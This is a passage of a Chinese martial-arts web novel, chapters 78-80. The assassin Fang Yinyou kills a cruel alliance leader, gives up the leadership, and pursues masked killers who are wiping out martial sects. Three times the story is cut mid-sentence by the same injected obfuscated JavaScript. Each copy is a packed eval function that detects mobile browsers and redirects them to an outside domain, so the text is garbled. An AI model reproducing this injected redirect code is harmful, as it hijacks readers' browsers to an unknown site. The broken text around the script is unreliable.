谭娘哽咽着点点头,望向周围的人群,喊道:“谭娘三生有幸,今日遇到方大侠愿意来主持公道...” 方隐攸一愣,不由得看向挤在人群里的柳扶斐,这人什么时候教谭娘说的这些话。 柳扶斐接收到他的视线,抬手朝着挥了挥手,笑的乖张又得意。 南山派的大门很快被打开,几十个提着武器的人鱼贯而出,皆是满脸愤恨的瞪着方隐攸。 最后走出来的是拿着偃月刀的韩桓临,他穿着一身黑袍,轻蔑的看着方隐攸,将长刀在身前一跺,嗤笑道:“好你个方隐攸,我不去寻你,你反倒自己送上门来找死。” 方隐攸抱着可生剑踱步倒韩桓林面前,嬉皮笑脸的朝他挑挑眉,“今日究竟是谁的死期还不一定呢。” 方隐攸转个身,朝着人群大喊一声,“韩盟主杀我之前,不如先将人家的夫君放了,也算是为自己积攒阴德。” 韩桓临捋一手胸前长须,朝着方隐攸呵呵一笑,“一个屠夫,我就算是一刀杀了,又如何?” 谭娘闻言一惊,立刻扑上前来愤恨的瞪着韩桓临,“你说什么?你把我夫君如何了?” 韩桓临鄙夷的瞥她一眼,然后移开视线不再理会她。 谭娘愤恨的往前一步,想要扑倒韩桓临跟前来,方隐攸伸手拉住她的衣摆将人扔回人群。 他眼神冷冽的盯着韩桓临,“他死你死,他活你活。” 韩桓临哈哈大笑一声。 “方隐攸,你还当真以为自己是天下第一了?” 说罢,韩桓临眼神凶狠提刀冲着方隐攸砍来,出招又快又狠。 他一动手,周围南山派的门众也迅速朝着挥刀砍向周围看戏的人群。 柳扶斐拿出骨笛吹出一声长鸣,然后怒喝一声,“护住百姓!” 一群黑衣人从人群里窜出来,将还没反应过来发生了什么的百姓护在了身后,那群看戏的江湖人则是和门众门扭打在了一起。 方隐攸眼角余光瞥见周遭的一切,心里松了口气,随后扭腰腾空而起,用力的踢向砍向自己的刀背,手中长剑顺势刺出,直逼向韩桓临的前胸。 韩桓临见状轻蔑一笑,收刀后撤避开方隐攸的剑锋,然后反手握刀用力横扫向方隐攸的腰间。 偃月刀势如破竹,带出一道凌厉的罡风。 方隐攸执剑一挑,贴着偃月刀的刀身,然后调转内息反手往下一压,将偃月刀逼得朝地上砍去。 随后他往前一跨,剑刃在刀柄上滑过,朝着韩桓临握刀的手而去。 韩桓临一惊,立刻抬脚踹向方隐攸的侧腿。 方隐攸顺势腾空而起,剑刃抵在刀杠上,朝着韩桓林嘻嘻一笑,“断了。” 说完,方隐攸的眼神变得森冷,可生剑朝下用力一压,剑刃与刀杠交接处发出一声震耳欲聋的声响。 顷刻间,刀杠化作满地碎屑,锋利的偃月刀身砰的一声落在了地上。 韩桓临握刀的手被震得的微微发颤,他不可置信的看着空荡荡的手。 “你功夫竟然如此厉害...” 方隐攸迅速闪到他面前,可生剑抵住他的脖颈,朝他张扬一笑,“不然如何做这第一刺客?” 方隐攸警告的盯着他,“放人,我今日不杀你。” 韩桓临似笑非笑的看着他,随后瞥向被柳扶斐护在身后的谭娘,高喊一声,“他不仅死了,而且死——” 韩桓临话还未说完,方隐攸直接手起刀落,闪着寒光的剑刃上丝血不沾。 方隐攸厌弃的瞥一眼韩桓临的尸体,然后腾空而起站到院墙之上,朝着底下的众人高喝一声,“卑劣之徒韩桓临已死,我方隐攸今日便替他接管这武林盟主之位。” “南山派众徒自己决定去留,若是要替你们的掌门报仇只管来找我方隐攸。” “江湖中人,何人想要这武林盟主之位者,也尽管来找我。” “赢了我,不仅可以成为武林盟主。”说道这里,方隐攸从怀里掏出一本小册子,“这本武林秘籍,我方隐攸也拱手相让。” 原本扭打在一起的众人立刻收手,一个中年男人踌躇片刻,指着方隐攸手中的秘籍,问道:“这便是传言中的那本——练之可成为天下第一的秘籍吗?” 方隐攸神秘莫测勾了勾嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931896|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角,捏住秘籍在身前轻轻一晃,“当然不是。” “此功名为子虚经,是比长生诀还厉害的功夫,炼成不仅能成为天下第一,还能长生不老、见天机、成为天下主宰。” 男人明显不信,狐疑的盯着方隐攸,“天下还有这么厉害的功夫?” 方隐攸散漫的耸耸肩,手往地上的韩桓临一指,“此功有九重,我才练至第二重便能轻易杀了他,难道还不够厉害吗?” 方隐攸的神色忽然一变,眼中腾起浓烈的杀意,“或者说,你们想要再试试?” 众人闻言一惊,皆往后退了一步。 方隐攸满意的轻笑一声,和柳扶斐交换了个眼神,然后朝着众人摆了摆手,“韩桓临已死,此事便算了了,诸位且散去吧。” 等到众人散去后,谭娘却依旧呆愣着瘫坐在地上,她满脸绝望的望着方隐攸。 “恩人...我家夫君...当真...” 方隐攸走到她面前,有些无措的看向柳扶斐,他着实不知道要如何宽慰人。 柳扶斐朝他点点头,示意这里交给自己。 方隐攸于是往后退一步,转身进了南山派。 韩桓临生性狂妄,方才只带出去南山派的半数人,剩下半数还在里面,眼下他们也都知晓了门外发生的一切,皆提着兵器虎视眈眈的看着方隐攸。 方隐攸握着可生剑随意的扫了一眼他们,问道:“那个叫苗四郎的生前被关在哪里?” 众人闻言面面相觑,却没有一人回应方隐攸。 方隐攸本就不是什么有耐性的人,见状直接闪到一个男人身前,一脚踹飞他手中的利刃,然后捏住他的脖颈将人提得悬在空中。 “说。” 男人脸色瞬间涨成青紫色,哆哆嗦嗦的伸手指向院内一处偏僻的角落。 方隐攸将人扔开后,迅速朝着那处奔去。 那里是有一个由四堵砖墙围城的一个天井,墙上无门无缝,高约丈许。 方隐攸眉心一跳,踩着旁边的矮墩翻上高墙。 只一眼,他便被井底的景象惊得眼瞳微缩,然后愤怒的看向门外,韩桓临还是死的太轻巧了。 井底长宽不过半臂,里面蜷缩着一个瘦的皮包骨的男尸,他身上的肌肤已经开始腐败,看上去已经死了有几天了。 方隐攸咬紧牙根,隐忍着眼里的戾气,从墙上翻身而下,然后一掌拍在石墙之上,将墙上炸出一个巨大的窟窿。 忽然,方隐攸浑身僵住,不可置信的看着男尸头顶的那块砖墙上的潦草血迹—— 吾妻谭娘,原欲与汝鹣鹣共守百年,然今日不得已违誓。余去后,汝无须伤心,亦无需挂念,宜启新生,愿汝安好。爱汝之苗郎。 方隐攸再难压抑心中怒火,提剑就要往外冲,却被恰好赶来的柳扶斐一把拥住。 柳扶斐瞥一眼墙上的血字,眼中难掩震惊,但是担心方隐攸因此诱发心魔,也只能忍下心中怒意,握住方隐攸的后颈安抚的轻轻摩挲,温声道:“韩桓临已死,他以后无法再作恶了。” “苗五郎的仇也算报了。” “我方才已经问清楚了,谭娘与苗五郎原都是京官之子,两人父母十三年前因小人算计获罪入了牢狱,他们两人不得已流落到岭南相依为命。” “我会写信回京,为他们的父母沉冤,再将谭娘送回岭南好生照料。” “方隐攸,莫气莫怒。” 方隐攸长呼一口气,握紧手中的可生剑,“当初我就该一剑杀了他。” 78.又出了岔子 方隐攸手里有子虚经的消息很快就在江湖中传开,来找他夺取秘籍的人却寥寥无几,原因无他,只因他们心知自己并不是方隐攸的对手。 不过他们却时刻注意着方隐攸的动向,只等着哪一天得到秘籍被抢的消息,他们至少可以幸灾乐祸许久。 方隐攸担心有人寻来时打斗起来会伤及无辜,特意寻了一处风景甚好的竹林,和柳扶斐以及他的那群死侍一起,花了三天时间在林子里搭建了一个两层高的竹楼。 楼中的只放一床一桌一椅子,这样到时候毁了也不觉得可惜。 今夜月明星稀,方隐攸和柳扶斐两人躺在屋顶上,望着天上的圆月,惬意的哼了几声岭南那边的童谣。 寻常的童谣曲调都舒缓悦耳,方隐攸哼的则不同,曲调变幻莫测,扔人摸不清头脑。 柳扶斐将手枕在脑后,侧过身子盯着方隐攸的侧脸,手指有一搭没一搭的合着节奏敲打着屋顶。 一曲未了,方隐攸忽然顿住,他眉眼舒展的望着夜空。 “终于来了。” 话音刚落,便看到有几根利箭朝着竹楼射了过来。 方隐攸和柳扶斐反应迅速的翻身而起,轻巧的避开箭矢,然后并肩站在屋顶上,望着林中不远处的一片黑影。 方隐攸拔剑出鞘,剑锋指着人群中央为首的那人,眼神审视的将人从头到尾看了一遍。 那人恰好站在阴影里,只能看到一个瘦削的轮廓。 柳扶斐低声问道:“是他吗?” 方隐攸摇摇头,失望的叹了口气:“不是。” 方隐攸朝着那群人抬抬下巴,“哪个门派的?” 为首的一个黑衣人缓步上前,整张脸露在月光之下,竟然是个容貌姣好的女人。 “鹤伴山,紫清门掌门紫珏。” 方隐攸轻飘飘落到紫珏面前,扫了一眼她身后的一众黑衣女人,“找我做什么?” 紫珏面无表情的看着方隐攸,然后又看向站在屋顶上的柳扶斐。 “江湖中出事了。” 方隐攸闻言一愣,“出什么事?” 紫珏眼神变得怅然,深呼一口气后缓缓道:“你杀韩桓临前日,江湖中忽然出现一群武力高强之人,他们一身黑衣,带着鬼面,手执一柄短刀。” “他们一日去一城,然后将城中大小江湖门派尽数屠杀,不留一个活口。” “所以,消息一直没有传出来。” “昨日他们杀到紫清门,幸好在建立之初,初任掌门便在后山备下了一条隐秘的逃生之路,我们才得以逃出生天。” 紫钰眼中闪过沉重的悲痛,“只是他们来的过于突然,我门中大部分门众皆被他们所杀。” “如今你既为武林盟主,难道要坐视不管吗?” 方隐攸抬手按住眉心,转过身望向柳扶斐,当真是屋漏偏逢连夜雨,他如今有要事在身,怎么江湖中就出了这么大的岔子。 柳扶斐飞身落到方隐攸身边,朝着紫钰微微一笑,“这可真是天大的坏消息,紫钰掌门还请节哀顺变。” “那日前盟主韩桓临的恶行实在是到了人神共愤的地步,所以我们才不得已杀之。” “常言道,国不可一日无君,这武林自然也不可一日无主,所以隐攸才无奈自封,当不得真。” “不如你们江湖人自己再去商议选举出来一个盟主,如何?” 紫钰闻言后撤一步,然后迅速搭箭拉弓,箭头与方隐攸的眉心只隔着半臂的距离。 方隐攸轻笑一声,“怎么?要杀我?” 紫钰摇摇头,“不,我杀不了你。” 她拉弓的手用力的发颤,双眼猩红的望着方隐攸,“方隐攸,我知道你是个刺客,无门无派,也瞧不上我们这些拉帮结派的江湖人,但是...” “如果你不出面,他们会杀干净所有人。” “你真的要袖手旁观吗?” 方隐攸抬手按住箭头,冰冷坚硬的利刃将柔软的指腹压得内陷,方隐攸轻轻往后一推,紫钰手中的弓箭立刻坠落在地。 疾风起,飒飒声响,月色下竹影如藻、荇交横。 方隐攸望着紫钰,“江湖中名门正派这么多,你怎么就独独找上我这么个声名狼藉的刺客?” “别说什么因为我是武林盟主,这江湖中人可没有一个人真把我当做武林盟主的。” “而且,你凭什么觉得我会出面帮你们?” “这江湖于我而言,只要我在,江湖便在,你们在不在,又有什么关系?” 方隐攸言语轻狂,语气也轻蔑,本该是令人心生厌弃的狂妄之徒,却又因为他说的句句属实而让人难以反驳。 紫钰用力的掐住手心,咬紧牙根沉默良久后,愤然的瞪着他。 “因为你武艺高强,除了你,我想不出谁能以寡敌众。” 方隐攸嗤笑一声,“说到底,也就是想要我去以命相搏,赢了你们万事大吉,输了也不过是死了一个刺客。” 方隐攸摆摆手,“你走吧,我不是什么良善之辈,你们是死是活,与我何关。” 皎月隐入云雾里,月光一瞬间黯淡,所有的一切拢在夜色里,紫钰忽然从怀中拔出一把匕首,迅速刺向方隐攸。 方隐攸抬手握住她的手腕用力一扭,咔嚓一声清脆的声响,她的手臂瞬间软绵绵的垂落,手中的匕首也掉在了地上。 云雾散去,月光再次倾泻而下,将她迫切又愤恨的神色照的清清楚楚。 “方隐攸,你明明可以!你为什么就是不愿意!” “难道江湖中这么多人的性命在你眼里,就当真一文不值吗?” 方隐攸漠然的看着她,“你与其在这里和我浪费时间,不如早些去将消息递给那些还未被屠的门派,让他们做好准备,免得被打得措手不及。” 紫钰最又眼神祈求的问了一遍,“你当真不愿插手此事吗?” 方隐攸毫不犹豫的点点头。 “江湖恩怨自有因果,与我无关。” 紫钰无奈的长叹一口气,咬牙点点头,捡起地上的匕首和弓箭,领着门众头也不回的离开了竹林。 等到人走的看不见踪迹了,方隐攸啧一声,不解的看着柳扶斐,“这是多大的仇怨?竟然要屠人满门?” 柳扶斐伸手揽住他的肩膀,将人往竹楼中带。 “不管是为何,你目前最重要的是找到四年前的那个人解开心魔,如今已经过了半月有余,我们不能再节外生枝了。” 方隐攸叹一口气,“话虽如此,可是如今江湖中武艺高强之人少之又少,就怕等到我解了心魔之后,那群人当真将那些门派屠得一个不剩。” 等进了屋内,柳扶斐将方隐攸按倒椅子上坐好,然后手撑着膝盖躬身凑到他面前,问道:“你想去看看?” 方隐攸沉默的眨眨眼,不说好与不好。 柳扶斐叹一口气,伸手捧住他的脸仔细打量,屋里只有一盏油灯,光线十分昏暗,看不清方隐攸眼中的神色。 柳扶斐的手指缓缓摩挲着方隐攸的肌肤,思忖片刻后说到:“我们再等三日,若那人还不来抢秘籍,我们便去看看,如何?” 方隐攸扬起嘴角,点点头,“好。” 柳扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938470|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斐无奈的摇摇头,“方隐攸,你没发现吗?” “发现什么?” “你其实是个心怀悲悯的侠客。” 方隐攸闻言脑子里莫名一抽,疼的他忍不住低呼出声。 柳扶斐见状吓得手一抖,“怎么了?” 方隐攸按住自己的前额,重重的喘了几口粗气后摇摇头,“没事。” 柳扶斐却丝毫不敢掉以轻心,拿出怀中骨笛吹出一声,让死侍去附近找个郎中来。 方隐攸无语的看着他。 “至于吗?” 柳扶斐郑重的点点头,“至于。” 郎中来的很快,只是有些狼狈,因为他是死侍抗来的,可怜一个满头白花的老者被颠了一路,白须都散乱了。 不过好在柳扶斐出手阔气,直接从怀里掏出一锭金子递给郎中,“老翁,你可瞧仔细了。” 老翁咬一口金子辨认真假,确认这是真金以后满意的揣进兜里,笑着横了一眼柳扶斐。 “老夫都到这个岁数了,赚几两银子不重要,我济世堂的招牌不能坏,你不说老夫我也会尽心的瞧。” 说着,他伸手在方隐攸的腕上一搭,随即满脸遗憾的连连摇头。 柳扶斐见状心猛地缩紧,“你这是什么意思?” 老翁抬手捋一把胸前白须,打量方隐攸一眼,“几日前,你是不是经历过极度愤恨之事?” 方隐攸看向老翁的眼神变得凝重起来,他点点头,“对。” 老翁又捋一把长须,“此前是不是有人断言你需三个月化解心魔?否则必死无疑?” 方隐攸和柳扶斐闻言一惊,看向老翁的眼神越发佩服。 “对。” 老翁啧啧嘴,“眼下这时间得提前一个月。” “日后你得控制些情绪,切莫再大喜大悲大怒,否则死期还得提前。” 柳扶斐在老翁身侧来回踱步几圈,然后盯着他问:“有什么办法可以回旋这期限吗?” 柳扶斐的语气变得低落,“总共才三个月...怎么可以一下子没了一个月...” 他望向方隐攸,明明自己与他相伴才不过短短几个月... 老翁摇摇头,“心魔乃是心结,无药石可医,唯一的办法便是早些解开他的心魔。” “老翁,你再好好想想,若是一月不行,半月呢?只将这时限延长半月也行...” 老翁沉默不语,屋里陷入一片诡异的安静。 良久后他看向柳扶斐,“你们是什么关系,你竟然如此忧心他的生死?” 柳扶斐毫不迟疑的回道:“我与他生死与共。” 老翁闻言视线在两人身上来回流转,然后轻笑着拍了拍柳扶斐的肩膀,唱到:“情双好,情双好,纵百岁,犹嫌少。” 唱罢,他无奈的摇摇头,“一日也没办法续。” 柳扶斐的脸色瞬间变得阴郁,他冷眼看向老翁,才刚想说话,方隐攸忽然伸手将人扯了过来,然后朝着屋外的死侍招了招手。 “将老先生送回去吧。” 老翁嘿嘿一笑,看向死侍,“年轻人,我一把老骨头经不住折腾,回去时候你慢些走。” 等到死侍将人带出竹楼,方隐攸握住柳扶斐的手腕轻轻晃了晃,无所谓的耸耸肩,“本就用不了三个月的功夫,如今就算少了一个月也无碍。” 柳扶斐转过身眼神沉沉的看着他,然后沉默的蹲到他跟前,仰头望着他。 “是,你可是第一刺客方隐攸,不出一个月,你肯定就能解开心魔。” 方隐攸得意的哼一声,“那是当然。” 79.三日之期 翌日清晨,方隐攸还没来得及被柳扶斐滚烫的胸膛热醒,就被竹楼外面的动静惊醒了。 几乎是在他睁眼的瞬间,柳扶斐也睁开了眼睛,他收紧胳膊,将人往身前一压,然后下巴蹭了蹭方隐攸已经乱成一团的长发。 柳扶斐叹一口气,“扰人清梦的东西,当真是烦人。” 方隐攸推开他,翻身下床后将头发随意的半束好,提着可生剑直接从窗户里翻了出去。 今日风大,竹叶被吹得簌簌作响,地上的枯叶被卷的到处都是,莫名的有一股剑拔弩张的紧迫感。 来人是一个身穿赤色长袍、面容阴柔的年轻男人,他手中并未拿任何兵器,只拿着一片竹叶在指尖把玩。 他看到方隐攸时朝着他微微一笑,手指朝他一点,“听闻方盟主手里的子虚经厉害得很,在下苏离斗胆来和你讨教一番。” 方隐攸哦一声,“你不是我的对手,和你打浪费时间。” “方隐攸,你这话是否过于猖狂了些?” “实话而已。” 苏离脸色的笑意僵住,直接扔了手里的竹叶后以手作爪朝方隐攸扑来。 方隐攸扭身避开,然后双手环胸,姿态慵懒的倚靠在身侧的竹子上。 竹竿微微下弯,方隐攸的腰肢顺势拱起,他看向扑空的苏离,“江湖中如今如何了?” 苏离用力的一甩衣袖,然后抬手将身前的头发捋顺,并未回应他的问题。 方隐攸扯下一片竹叶夹在指缝中,随意的朝着苏离一扔,竹叶便如利刃一般迅猛的朝着他的面门刺去。 苏离见状立刻想要扭身躲避,却依旧被竹叶割破了侧脸,留下一道血痕。 方隐攸朝他露出一个轻蔑的笑,“还打吗?” 苏离握紧拳头,愤恨的冷哼一声,“不打。” 方隐攸挑挑眉,似笑而非的盯着他不说话。 苏离明白他的意思,语调僵硬的缓缓道:“江湖中出现了一群杀手,他们眼下正在疯狂的屠杀江湖人。” “也不知道那些门派里的人是不是安逸日子过的太久,竟然没有一个门派能无恙的躲过去,几乎都被屠了满门。” “我来找你时还听说,那群江湖人正盘算着如何让你出面救他们呢。” 方隐攸沉默的点点头,看向手中的可生剑。 “你帮我去给他们传个消息,就说我方隐攸觉得这盟主之位太麻烦不当了,他们谁想当就去当。” “至于子虚经,哪个不怕死的想要,也只管来抢。” 苏离呵呵一笑,“你以为这盟主是你相当就当,不想当就不当的?” 他朝方隐攸走一步,细长的手指朝方隐攸一点。 “他们好不容易有了一个正当理由让你出面,我就算是告诉所有人你不做这个盟主了,也没人会当回事,反倒还会倒打一耙说我在胡言乱语。” 方隐攸站起身,无所谓的耸耸肩,“话我已经说出去了,他们认不认是他们自己的事。” 苏离点点头,“行,我既然技不如人,就帮你这个忙。” 说完,他便潇洒的走了。 方隐攸回首看向站在竹楼檐下的柳扶斐,“你都听到了。” 柳扶斐点点头,缓步朝他走来。 “若是你那日没有杀韩桓临——” “他们也会找其他的法子找上我。” 方隐攸打断柳扶斐的话,眼神变得轻蔑而讥讽,“我是个刺客,是他们眼中一把锋利的剑,如今祸事来临,只会想尽一切办法将我握在手里,好去割开敌人的脖颈。” “而且——”方隐攸握紧可生剑,语气变得厌恶,“杀韩桓临一事,我并不后悔,只恨自己给了他一个痛快。” 柳扶斐于是不在多言,安静的与他一道站在竹林里听风吹竹叶声。 等到了第二日时,方隐攸和柳扶斐才坐在竹林里喝完一坛醉仙酿,又听到外面传来动静。 方隐攸起身掸掸衣摆,和柳扶斐对视一眼,然后循声望过去,等着来人。 只片刻功夫,便看到一群人从林间跑了出来。 打头的几个都是江湖上排得上号的帮派里的掌门,他们看上去都十分狼狈,身上多多少少都带着伤。 方隐攸脸上变得凝重起来,静静地等着他们开口。 一个身穿青色长袍、相貌端正的中年男人高声一喊,“盟主!天中门门主史奇允前来拜见。” 随后双膝跪在地上,朝着方隐攸用力的磕了个头。 方隐攸无语的翻了个白眼,往旁边撤一步与柳扶斐肩头相抵。 这就是他非常厌恶那些江湖门派中人的原因,没事他就是心思歹毒的刺客,有事就一个个来认盟主。 若是没有那群杀手,只怕他们这辈子都不会喊他一声盟主,只会想尽办法的来夺取他手里的子虚经。 柳扶斐往前一步,挡在方隐攸面前,笑看着史奇允,“跪我做什么?我又不是你们的盟主。” 史奇允应声抬头,看一眼柳扶斐,然后双膝在地上挪了半寸,作势就要再次磕头。 柳扶斐赶紧伸手阻止,“他也不是你们的盟主,男儿膝下有黄金,可不能乱跪。” 史奇允不耐而嫌弃的横一眼柳扶斐,朝着身后众人一招手,那群人立刻双膝跪地,朝着方隐攸高呼一声,“望盟主救我等于水火!” 方隐攸嗤笑一声,“方盟主?我只是个刺客,你可别乱叫。” 史奇允笑道:“这盟主之位历来就是武功高者得之,方盟主既然杀了那个卑鄙之徒韩桓临,自然便是我们的新盟主。” 方隐攸将下巴压在柳扶斐肩膀上,漫不经心的扫向跪在地上的众人,问道:“若我没杀他呢?你们求的是我,还是他?” 史奇允闻言一愣,随后讨好的笑道:“方盟主这是哪里话,此事已成定局,我们便只能来求您。” 方隐攸嘲弄的扯扯嘴角,抬手随意的指向一个身穿粗布短褂、头发枯黄、看上去不过十三四岁的少年。 “你是哪个门派的?” 少年望向方隐攸,“逍遥门,季萧。” 方隐攸仔细回忆了一下,摇摇头道:“没听说过。” 季萧尴尬的摸摸额头,“是我自己立的门户,眼下门众也就不到十人。” 说着,他手往身后几个和他差不多年纪的少年一指,“这些,都是我逍遥门的人。” 那几个少年见状皆朝着方隐攸抱拳示意,“方盟主。” 方隐攸面无表情的扫他们一眼,“为什么入江湖。” 季萧闻言咬了咬唇,有些迟疑的开口。 “我八岁时爹娘都病死了,族内长辈说我命中带煞,都不愿意收养我,所以我就入了江湖。” 季萧挠了挠头,“江湖人不信命,他们只说我无父无母,便无牵无挂,是个闯江湖的好苗子,所以都愿意给我口饭吃。” “而且,他们说在江湖中只要敢闯,就能有出头之日。” “虽然我从未想过这些,但是...”季萧朝着方隐攸腼腆一笑,“如果真的可以出人头地,也挺好。” 方隐攸点点头,朝他微微一笑,“既然你们非说我是盟主,那我便做主将这个盟主之位让给你,从今以后你季萧便是新的盟主了。” 众人闻言皆是一惊,几个掌门立刻惊呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943511|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出声,“盟主交替怎么可以如此草率!当比试过,胜者任之!他一个毛头小子,难当此重任。” 方隐攸无所谓的耸耸肩,“反正我如今已经不是盟主,你们要如何便如何。” 说罢,他和柳扶斐对视一眼,立刻飞身窜出竹林,留下一群人面面相觑。 方隐攸和柳扶斐两人也并未跑太远,恰好竹林后面几里远的地方有一片桃花林,眼下桃花开的正盛,他们寻了一颗粗壮的桃树,倚坐在树枝上,闻着花香看着远处山景,也还算惬意。 柳扶斐抬手扯下一朵桃花捻在手里,看向身侧的沉默不语的方隐攸,“怎么了?” 方隐攸晃了晃腿,抖落漫天的桃花。 他抬手接住几片,无奈的叹一口气,“看来那些杀手远比我想象中的厉害。” 柳扶斐嗯一声,“你不想再等了,对吗?” 柳扶斐捡起方隐攸掌心的一片桃花,贴到他脸颊上。 方隐攸虽然平时总是风里来雨里去的,脸上的皮肤却非常的白净细腻,半点不像个武夫的模样,桃花粉嫩,粉白相间衬得方隐攸身上的煞气都少了许多,浑然不觉他是个刺客。 柳扶斐于是又折下一根桃枝,插入方隐攸的发梢,惹得方隐攸无语的横了他一眼。 方隐攸按了按眉心,“我虽不喜江湖中的许多人,但是江湖——接纳了我。” “一个无父无母、又不肯为奴为乞的少年,除了在江湖中闯荡,我找不到任何出路。” “他们一个个的来求我,我其实并不在意他们的生死。” “但是——” 方隐攸的语气变得惆怅,“至少得为如我一般的无家可归者,留一条生路。” 柳扶斐撑着下巴看着方隐攸,安静的听完以后点点头,“那我们今日便启程。” “但是我不想与那些江湖人牵扯太深,免得日后真的要做什么盟主,麻烦得很。” 柳扶斐闻言轻笑一生,将头抵在他的肩膀上轻轻蹭了蹭。 “我有死侍二十二名,再加上你我,应该足以。” 柳扶斐伸手勾住他的手指,仔细的丈量他的每个关节,继续漫不经心的说到:“若是需要,还能找我爹借些兵。” 想到那些大逆不道的私兵,方隐攸摇了摇头,“那些死侍,再加上你我便可。” 方隐攸伸手拨动面前的桃花枝,桃花轻盈摆动,在艳阳天里更显得娇艳。 方隐攸勾勾嘴角,“这桃花还挺好看。” 柳扶斐轻触方隐攸鬓角花枝,“万花堆里人年少,越看越添娇。” 方隐攸不理解自己为什么和“娇”扯上关系,无语的看向他,柳扶斐轻笑一声,“你比桃花更好看。” 方隐攸啧一声,直接将人推下树梢,然后用力的晃动树枝,落下更多的桃花瓣。 柳扶斐一身湖蓝色锦衣,身姿挺拔,五官精致绝伦,花瓣雨纷纷扬扬的从他面前飘过,将他的眉眼衬上一层艳色。 “如此一看,柳兄更加娇俏。” 柳扶斐闻言仰起头来,将脸朝方隐攸细致的展示,“若再仔细瞧瞧呢,是不是个如花似玉的好模样?” 方隐攸从未见过如此不害臊之人,利落的翻身下树,直接扯住他的衣襟将人往外走。 “走吧,先去探探那群杀手眼下在何处。” 柳扶斐由着他的动作,回首看了一眼身后灼灼其华的桃树。 韶华长在,明年依旧,相与笑春风。 “方隐攸。” 方隐攸脚步不停,侧过脸看向他,“怎么了?” “来年再来看桃花吧。” “好。” 80.杀手 那群杀手比方隐攸预料的猖獗也狡猾的多,他们行踪不定,来去十分迅捷,每屠完一个门派还会在大门口的屋檐下写下几个大字——屠尽所有江湖人。 方隐攸和柳扶斐赶到青州北边的远安县南五峰山的五峰门时,那群杀手早已经不知去向,只留下满门的死尸。 “虽说一个门众上百的门派里有真功夫在身的不出二十个,但是剩下的人也并非是毫无还手之力的废物,他们是如何做到的一日屠尽一城大小门派近十个?” 方隐攸环顾周围堆满庭院的尸体,语气非常凝重,他蹲下来,仔细观察着面前的死尸脖子上的伤痕。 “招式利落,下手果决,一刀斩断颈椎。” 柳扶斐闻言思忖片刻,逐一翻看围在自己周围的十几具尸体后,说道:“这些伤口看上去一模一样,角度、深度以及颈椎断裂的程度,没有丝毫差别。” 方隐攸眼神立刻变得警觉。 “所以,这是一群武功高手、而且训练有素的杀手,并不是寻常江湖人。” 柳扶斐点点头,“倒像是军营里练出来的精兵,出招规矩而统一。” 方隐攸站起身来,遗憾的叹了一口气,“如此一来,也更加难以分辨这群杀手的身份了。” 两人随后又在五峰门内仔细找了许久,依旧是没有看到一个活口,连养在马厩里的几匹马都被割断缰绳放走了。 方隐攸看着马厩里被吃了一半的草秸,气极反笑,“杀人的时候看不见半点犹豫,却知道将马放生。” 一个死侍朝着两人疾步跑来,然后恭敬的跪拜在柳扶斐面前,“主子,打探到他们的踪迹了。” 柳扶斐侧过脸看向他,“说。” “山下一住户说半个时辰前看到他们一行人往南边去了。” “南边?” 柳扶斐看向方隐攸,“永利县,那里有什么帮派吗?” “有一个如紫清门一般只收女人的玉屏派。”方隐攸的语气变得愤怒,“那个门派门众不过五十人,他们难道也要赶尽杀绝吗?” 柳扶斐立即朝死侍挥了挥手,“立刻赶去玉屏派。” 死侍点点头,朝着院外吹出一声口哨,随后朝外奔去。 方隐攸和柳扶斐也瞬间消失在了五峰门,朝着永利县而去。 永利县距离远安县不过四十多里地,方隐攸轻功了得,不到三刻钟就到了永利县城郊的一处庄子外面。 这庄子依山傍水,门口还种着许多海棠花,眼下花期未到,只有满树含苞待放的花苞,衬着满树的绿叶,也不显得单调。 庄子的大门敞开着,听不见里面的动静,只能窥见里面满园的牡丹、月季、迎春花在迎风招展,花香也浓郁,隔着几丈的距离也能闻到。 花香里面有血腥味。 方隐攸眉心一抖,立刻拔剑出鞘冲了进去。 柳扶斐见状也抽出腰间软鞭跟了上去。 庄子很大,方隐攸又从未来过,一时间竟然不知道该往哪里走。 好在院中有一处高台,台上还有一个凉亭,他踩着亭边的石墩跃到亭顶,站在高处仔细的观察着庄子里面的动静。 忽然,后院中一处院落里面有一个身穿黑衣的男子忽然从西厢房里破门而出,他手中的刀刃上还有流淌的血迹。 方隐攸眼神腾起杀意,身形化作一道闪电,转眼间窜到了院中,手中的可生剑指向那人的脖颈。 男人反应迅速,立刻往后撤开几步,脚抵在台阶上后才停了下来。 他警惕的盯着方隐攸,手里的武器换了个姿势,护在自己身前。 方隐攸落到他身前,剑锋指着他的面门,“为什么要屠杀江湖中人?” 男人的视线落到方隐攸手中的可生剑上,眼神一凛,依旧沉默不语,握着刀柄的手却越发用力。 